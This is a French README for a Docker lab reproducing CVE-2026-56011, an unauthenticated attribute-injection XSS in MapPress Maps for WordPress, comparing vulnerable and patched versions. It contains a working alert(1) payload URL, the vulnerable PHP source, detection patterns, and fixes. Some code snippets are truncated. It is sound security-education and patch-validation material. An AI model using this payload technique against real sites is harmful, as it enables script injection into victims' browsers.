rootdirective-sec/cve-2026-56011-labLaboratoire basé sur Docker pour reproduire et valider CVE-2026-56011, une vulnérabilité XSS non authentifiée dans MapPress Maps pour WordPress, avec des cibles de comparaison vulnérables et corrigées.
Ce dépôt contient un laboratoire Docker local pour reproduire et valider la CVE-2026-56011, une vulnérabilité de Cross-Site Scripting non authentifié affectant MapPress Maps pour WordPress.
MapPress Maps pour WordPress est un plugin WordPress utilisé pour afficher des cartes dans les pages et articles WordPress. Le comportement vulnérable affecte le chemin de rendu de carte iframe accessible via le paramètre de requête mappress=embed.
Ce laboratoire compare deux versions de MapPress :
| Service | Version de MapPress | Objectif | URL |
|---|
| vuln | 2.97.3 | Cible de comparaison vulnérable | http://localhost:8081 |
| patched | 2.97.4 | Cible de comparaison corrigée | http://localhost:8082 |
Le chemin de validation démontré dans ce laboratoire local est :```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
La cible vulnérable utilise cette URL de navigateur manuelle :```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Résultat vulnérable attendu :```text Click on the rendered MapPress component → alert(1) pops up
La cible corrigée utilise la même charge utile contre MapPress 2.97.4 :```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Résultat corrigé attendu :```text Click on the rendered MapPress component → no alert appears
Ce laboratoire utilise intentionnellement une validation manuelle uniquement dans le navigateur. Il n'inclut pas de script de preuve de concept (PoC), d'automatisation du navigateur, de vol d'identifiants, de rappels externes, de logiciels malveillants, de persistance, d'activité post-exploitation ou d'attaques contre des systèmes externes.
## Faits vérifiés
| Affirmation | Preuve | Comment vérifier dans ce laboratoire |
| -------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- |
| CVE-2026-56011 affecte MapPress Maps pour WordPress. | Les avis de vulnérabilité publics identifient le plugin WordPress concerné comme MapPress Maps pour WordPress. | Consultez la section Références et inspectez le plugin installé dans les deux cibles Docker. |
| La version vulnérable de comparaison dans ce laboratoire est MapPress 2.97.3. | Le service `vuln` construit le plugin en utilisant `MAPPRESS_VERSION: 2.97.3`. | Inspectez `docker-compose.yml` et `vuln/Dockerfile`. |
| La version corrigée de comparaison dans ce laboratoire est MapPress 2.97.4. | Le service `patched` construit le plugin en utilisant `MAPPRESS_VERSION: 2.97.4`. | Inspectez `docker-compose.yml` et `patched/Dockerfile`. |
| MapPress 2.97.4 a introduit le correctif d'échappement dans l'iframe. | Le journal des modifications officiel du plugin pour la version 2.97.4 indique `Added: escape in iframe`. | Consultez le journal des modifications officiel du plugin WordPress et comparez le code source vulnérable et corrigé. |
| Le code source vulnérable affiche le nom de la carte dans l'`id` du composant web sans guillemets. | Dans la version 2.97.3, `mappress_map.php` affiche `<mappress-map id={$name} ...>`. | Comparez le code source de la version 2.97.3 avec celui de la version 2.97.4. |
| Le code source corrigé encadre et échappe la valeur de l'`id`. | Dans la version 2.97.4, `mappress_map.php` affiche `id="` avec `esc_attr($name)`. | Comparez le diff de correctif entre les versions 2.97.3 et 2.97.4. |
| Le chemin de l'iframe est accessible sans authentification. | MapPress enregistre `template_redirect` lorsque `$_GET['mappress']` est présent. | Faites une requête `/?mappress=embed...` depuis un navigateur sans vous connecter. |
| Le chemin de l'iframe lit les attributs de la carte depuis la requête. | `template_redirect()` mappe `$_GET` dans les arguments de la carte et appelle le rendu de l'iframe. | Inspectez `mappress.php` et reproduisez l'URL manuelle. |
| La cible vulnérable permet l'injection d'attributs via le `name`. | La valeur `name` conçue peut s'échapper de l'attribut `id` non guillemeté et devenir `onclick=alert(1)`. | Ouvrez l'URL manuelle vulnérable et cliquez sur le composant MapPress affiché. |
| La cible corrigée bloque le comportement d'injection d'attribut testé. | La sortie corrigée conserve la charge utile complète à l'intérieur de l'attribut `id` guillemeté. | Ouvrez l'URL manuelle corrigée et cliquez sur le composant MapPress affiché. |
## Hypothèses et inconnues
Ce laboratoire utilise MapPress 2.97.3 comme cible vulnérable de comparaison car les avis publics identifient les versions jusqu'à et y compris 2.97.3 comme affectées, et le diff du code source montre le rendu vulnérable d'attribut non guillemeté dans cette version.
Ce laboratoire utilise MapPress 2.97.4 comme cible corrigée de comparaison car les avis publics identifient la version 2.97.4 comme la version corrigée, et le journal des modifications officiel indique que l'échappement a été ajouté dans le chemin de l'iframe.
Le comportement vulnérable testé est le chemin de rendu de l'iframe non authentifié :```text
GET /?mappress=embed&name=<crafted-value>
Ce laboratoire se concentre sur l'exécution manuelle dans le navigateur d'une charge utile d'alerte inoffensive :```text name=cve56011 onclick=alert(1)
Le laboratoire ne tente pas de prouver une chaîne de livraison persistante. Certains avis publics classent la vulnérabilité comme XSS stocké. Ce dépôt se concentre sur le sink de rendu iframe confirmé par la source et sur le comportement vulnérable versus corrigé qui peut être reproduit localement via la route non authentifiée `mappress=embed`.
Le laboratoire ne démontre pas :
* la persistance de la charge utile stockée,
* la compromission de compte WordPress,
* le vol de session administrateur,
* le vol de nonce,
* les rappels externes,
* la collecte de XSS aveugle,
* le vol d'identifiants,
* le vidage de base de données,
* les logiciels malveillants,
* la persistance,
* ni les attaques contre des systèmes hors laboratoire.
La validation manuelle par navigateur prouve la différence de rendu pertinente pour la sécurité :```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
La cause racine de CVE-2026-56011 est un encodage incorrect de la sortie pour la valeur name de la carte lorsque MapPress rend un composant web à l'intérieur du chemin de sortie de la carte iframe.
Le chemin de code vulnérable accepte les attributs de rendu de la carte de la requête et finit par rendre un élément HTML personnalisé :```html <mappress-map ...>
Dans MapPress 2.97.3, le nom de la carte est inséré directement dans l'attribut `id` sans guillemets et sans échappement du contexte d'attribut :```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
Ceci est dangereux car la valeur est utilisée dans le contexte d’un attribut HTML. Si l’attaquant contrôle name, une valeur contenant un espace peut terminer la valeur id prévue et introduire un nouvel attribut.
Le comportement vulnérable peut être résumé comme suit :```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
Le point important est que l'assainissement général du texte n'est pas la même chose que l'échappement correct des sorties.
Le code vulnérable utilise `sanitize_text_field()` sur le nom de la carte, mais cela ne rend pas la valeur sûre pour un attribut HTML non cité. Les espaces restent significatifs dans les attributs HTML car ils séparent un attribut du suivant.
Le problème de sécurité est donc :```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
La version corrigée modifie le rendu pour citer et échapper la valeur id :```php
return "
Le comportement corrigé peut être résumé comme suit :```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
La leçon de sécurité est :```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## Analyse du code source
Le problème au niveau du code source a été confirmé en comparant MapPress 2.97.3 et MapPress 2.97.4.
Le sink de rendu principal se trouve dans :```text
mappress_map.php
La version vulnérable affiche la valeur name comme un attribut id sans guillemets :```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
La version corrigée cite l'attribut et échappe la valeur :```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
La route iframe est enregistrée lorsque la requête contient le paramètre de requête mappress :```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
Le gestionnaire de requêtes iframe mappe les paramètres de requête en arguments de map :```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
Le gestionnaire crée ou charge ensuite un objet map et le met à jour avec les arguments de la requête :```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
L'assistant iframe rend le contenu de la carte :```php
$content = $map->display(null, true);
Le chemin display() préserve une valeur name non vide fournie :```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
Cela signifie que la valeur `name` fournie par la requête peut atteindre le sink de rendu vulnérable.
Le flux pertinent pour la sécurité est :```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
Le reste des attributs de la carte générée sont traités via un helper qui met en quote les attributs. Le rendu vulnérable de id est spécial car name est extrait et rendu séparément.
Cela rend la surface vulnérable étroite et facile à valider :```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## Résumé du correctif source
MapPress 2.97.4 corrige le comportement vulnérable du rendu iframe en mettant entre guillemets et en échappant la valeur de l'attribut `id` pour l'élément `<mappress-map>` généré.
Le motif de sortie vulnérable est :
``````html
<mappress-map id=cve56011 onclick=alert(1) ...>
Dans cette sortie, le navigateur analyse :```text id = cve56011 onclick = alert(1)
Le modèle de sortie corrigé est :```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
Dans cette sortie, le navigateur analyse :```text id = cve56011 onclick=alert(1)
Aucun attribut `onclick` autonome n'est créé.
Le correctif pertinent pour la sécurité est :```text
Before:
id={$name}
After:
id="<escaped name>"
Le correctif au niveau du code source est minime, mais l'impact sur la sécurité est significatif car le chemin affecté est accessible sans authentification via le point de terminaison d'intégration iframe.
Ce laboratoire maintient la séparation entre la revue du code source et la validation à l'exécution :```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## Architecture du laboratoire
Le laboratoire exécute deux cibles WordPress isolées via Docker Compose.```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
Il n'y a intentionnellement pas de répertoire poc/. La validation est manuelle et basée sur le navigateur.
Les deux services WordPress utilisent des bases de données et des volumes WordPress séparés :
| Service | Component | Version / Role |
|---|---|---|
| db-vuln | MariaDB | base de données pour WordPress vulnérable |
| db-patched | MariaDB | base de données pour WordPress patché |
| vuln | WordPress | cible vulnérable avec MapPress 2.97.3 |
| patched | WordPress | cible patchée avec MapPress 2.97.4 |
| wpcli-vuln | WP-CLI | installe WordPress et active le plugin |
| wpcli-patched | WP-CLI | installe WordPress et active le plugin |
Services exposés par défaut :```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Le laboratoire utilise des versions épinglées du plugin MapPress :
| Cible | Version de MapPress | Comportement attendu |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | cliquer sur le composant conçu déclenche alert(1) |
| http://localhost:8082 | 2.97.4 | cliquer sur le composant conçu ne déclenche pas alert(1) |
La construction Docker télécharge le ZIP exact du plugin pour chaque cible depuis le point de téléchargement officiel du plugin WordPress :```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
Les services WP-CLI s'exécutent automatiquement lors du démarrage du laboratoire. Ils installent WordPress et activent MapPress sur chaque cible.
Le laboratoire ne crée ni ne modifie la route MapPress vulnérable. La route est fournie par la version réelle du plugin MapPress installée sur chaque cible.
Aucune dépendance Python n'est requise.
Aucun script PoC n'est requis.
Aucune connexion WordPress n'est requise pour la validation manuelle du XSS.
Démarrez le laboratoire depuis un état propre :```bash docker compose down -v --remove-orphans docker compose up -d --build
Vérifier l'état du service :```bash
docker compose ps
Services attendus en cours d'exécution :```text db-vuln db-patched vuln patched
Cibles exposées attendues :```text
http://localhost:8081
http://localhost:8082
Vérifiez que l'installation de WordPress et l'activation du plugin sont terminées :```bash docker compose logs wpcli-vuln wpcli-patched
Messages de configuration attendus :```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
Une fois la configuration terminée, la page de connexion WordPress devrait retourner HTTP 200 :```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
Si la page racine redirige temporairement vers `/wp-admin/install.php`, la configuration de WP-CLI est peut-être encore en cours. Attendez que les logs `wpcli-vuln` et `wpcli-patched` affichent les messages de fin de configuration, puis réessayez.
## Validation manuelle de l'XSS par alerte
Ce laboratoire utilise uniquement une validation manuelle dans le navigateur.
Aucun script PoC n'est inclus.
Aucune connexion n'est requise.
### Cible vulnerable
Ouvrez cette URL dans un navigateur :```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Cliquez sur le composant MapPress rendu.
Résultat vulnérable attendu :```text alert(1) pops up
Signification de la sécurité :```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
Le comportement vulnérable analysé par le navigateur est équivalent à :```html <mappress-map id=cve56011 onclick=alert(1) ...>
Le navigateur traite cela comme:```text
id = cve56011
onclick = alert(1)
Lorsque le composant est cliqué, le gestionnaire d'événement s'exécute.
Ouvrez cette URL dans un navigateur :```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Cliquez sur le composant MapPress rendu.
Résultat attendu après correction :```text
No alert appears.
Signification de la sécurité :```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
Le comportement d'analyse du navigateur corrigé est équivalent à :```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
Le navigateur traite cela comme :```text id = cve56011 onclick=alert(1)
Aucun attribut `onclick` exécutable n'est créé.
## Résultats attendus
### Cible vulnérable
URL manuelle du navigateur :```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Résultat attendu après avoir cliqué sur le composant rendu :```text alert(1) pops up
Classification attendue :```text
VULNERABLE_BEHAVIOR_OBSERVED
Le signal vulnérable important est :```text MapPress 2.97.3
### Cible corrigée
URL manuelle du navigateur :```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Résultat attendu après avoir cliqué sur le composant rendu :```text No alert appears.
Classification attendue :```text
BLOCKED_BEHAVIOR_OBSERVED
Le signal corrigé important est :```text MapPress 2.97.4
## Comment fonctionne la validation
La validation manuelle envoie une requête de navigateur vers le chemin de rendu iframe de MapPress :```text
/?mappress=embed
La requête inclut une valeur name conçue :```text
cve56011 onclick=alert(1)
La requête complète vulnérable est :```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
La requête patchée complète est :```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Dans MapPress 2.97.3, la valeur `name` est insérée dans un attribut `id` non cité :```html
<mappress-map id=cve56011 onclick=alert(1) ...>
Parce que l'attribut n'est pas entre guillemets, l'espace après cve56011 commence un nouvel attribut.
Le navigateur interprète la sortie comme :```text id="cve56011" onclick="alert(1)"
Lorsque le composant rendu est cliqué, le gestionnaire d'événements injecté s'exécute.
Dans MapPress 2.97.4, la même valeur est échappée et entre guillemets :```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
Le navigateur interprète l'ensemble de la charge utile comme une seule valeur id.
Aucun gestionnaire d'événement n'est créé.
La validation est intentionnellement manuelle car l'objectif est de montrer directement le comportement XSS visible dans le navigateur :```text vulnerable target → click → alert(1)
patched target → click → no alert
## Reproduction manuelle dans le navigateur
Lancez le lab :```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Attendez que la configuration se termine :```bash docker compose logs wpcli-vuln wpcli-patched
Configuration attendue :```text
vuln setup complete
patched setup complete
Ouvrez la cible vulnérable:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Cliquez sur le composant MapPress rendu.
Résultat attendu :```text
alert(1)
Ouvrir la cible corrigée :```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Cliquez sur le composant MapPress rendu.
Résultat attendu :```text
No alert
Preuve par capture d'écran recommandée pour un compte rendu de portfolio :```text
## Impact
CVE-2026-56011 est sensible du point de vue de la sécurité car un attaquant non authentifié peut créer une URL iframe MapPress qui injecte du JavaScript dans le composant de carte rendu.
L'impact potentiel dans le monde réel dépend de la façon dont l'URL malveillante est distribuée et de l'utilisateur qui l'ouvre.
L'impact possible peut inclure :
* l'exécution de JavaScript contrôlé par l'attaquant dans le navigateur d'une victime,
* du phishing ou de la manipulation de l'interface utilisateur au sein de l'origine WordPress affectée,
* l'accès à des données non-HttpOnly de même origine,
* des actions effectuées en tant que victime si des conditions d'application supplémentaires le permettent,
* le vol de jetons CSRF ou de données de page non protégées,
* et l'abus du contexte de site WordPress de confiance.
Ce laboratoire ne démontre qu'une charge utile d'alerte locale inoffensive :```text
onclick=alert(1)
Le laboratoire ne démontre pas le vol de session, le vol d'identifiants, la prise de contrôle de compte administrateur, le chargement de JavaScript malveillant externe, la collecte XSS aveugle, ou les attaques contre les sites WordPress publics.
Le risque pratique en production dépend :
Les indicateurs potentiels incluent les requêtes vers le chemin de rendu iframe de MapPress :```text GET /?mappress=embed
Les paramètres de requête suspects peuvent inclure des chaînes liées à JavaScript dans le paramètre `name` :```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
Idée de détection à haut signal:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
Exemple de requête suspecte :```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Journaux de serveur web ou télémétrie à examiner :
mappress=embed,name,Actions de surveillance recommandées :
mappress=embed.%20onclick%3D.name.Mettre à niveau MapPress Maps pour WordPress vers la version 2.97.4 ou ultérieure.
Le correctif associé modifie la sortie de la carte iframe afin que l'attribut id du composant web généré soit entre guillemets et échappé.
Comportement pertinent pour la sécurité :```text Before: id={$name}
After: id=""
Étapes de correction recommandées :
* Mettez à niveau MapPress Maps pour WordPress vers la version 2.97.4 ou ultérieure.
* Privilégiez la version la plus récente du plugin disponible plutôt que de vous arrêter à la version de comparaison en laboratoire.
* Confirmez que la version installée du plugin ne se trouve pas dans la plage affectée.
* Videz les caches de pages et les caches CDN après la mise à jour.
* Examinez les journaux d’accès pour détecter les requêtes `mappress=embed` suspectes.
* Recherchez dans les journaux les valeurs suspectes du paramètre `name`.
* Envisagez une règle WAF temporaire pour les requêtes `mappress=embed` contenant des gestionnaires d’événements.
* Restreignez l’exposition inutile des fonctionnalités d’administration de WordPress.
* Utilisez une politique de sécurité de contenu restrictive lorsque c’est compatible.
* Maintenez le noyau, les thèmes et les plugins de WordPress à jour.
Leçons d’ingénierie de sécurité :
* Citez tous les attributs HTML.
* Échappez la sortie en fonction du contexte exact de sortie.
* Utilisez `esc_attr()` pour la sortie d’attributs HTML de WordPress.
* Ne vous fiez pas à `sanitize_text_field()` comme substitut à l’échappement de sortie.
* Ajoutez des tests de régression pour les chemins de rendu des iframes et des shortcodes.
* Examinez le rendu personnalisé des composants web car les balises personnalisées suivent toujours les règles normales d’analyse HTML.
## Limites de sécurité
Ce laboratoire est destiné à la recherche locale en sécurité et à une démonstration contrôlée uniquement.
N’utilisez pas l’URL XSS manuelle contre des systèmes que vous ne possédez pas ou pour lesquels vous n’avez pas d’autorisation explicite de tester.
N’utilisez pas de véritables identifiants de production, données client, données de paiement, clés API, identifiants de base de données ou secrets de production dans ce laboratoire.
Le périmètre prévu est limité aux services Docker locaux tels que :```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
La charge utile manuelle est intentionnellement inoffensive :```text onclick=alert(1)
Le laboratoire n'inclut pas de payloads pour :
* vol de cookies,
* vol d'identifiants,
* vol de jeton CSRF,
* abus d'actions administrateur,
* callbacks externes,
* collecte XSS aveugle,
* malware,
* persistance,
* kits de phishing,
* exploitation de navigateur,
* mouvement latéral,
* accès aux données client,
* ou des attaques contre des systèmes hors laboratoire.
L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
Arrêter et supprimer les conteneurs, les réseaux et les volumes :```bash docker compose down -v --remove-orphans
Supprimez les images de laboratoire construites localement si vous le souhaitez :```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
Vérifiez qu'aucun conteneur de laboratoire ne reste :```bash docker compose ps
## Références
* Enregistrement CVE : CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD : CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* Plugin WordPress : MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* Journal des modifications du plugin WordPress : MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack : MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence : MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* Base de données des vulnérabilités WPScan : MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* Téléchargement du plugin WordPress : MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* Téléchargement du plugin WordPress : MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip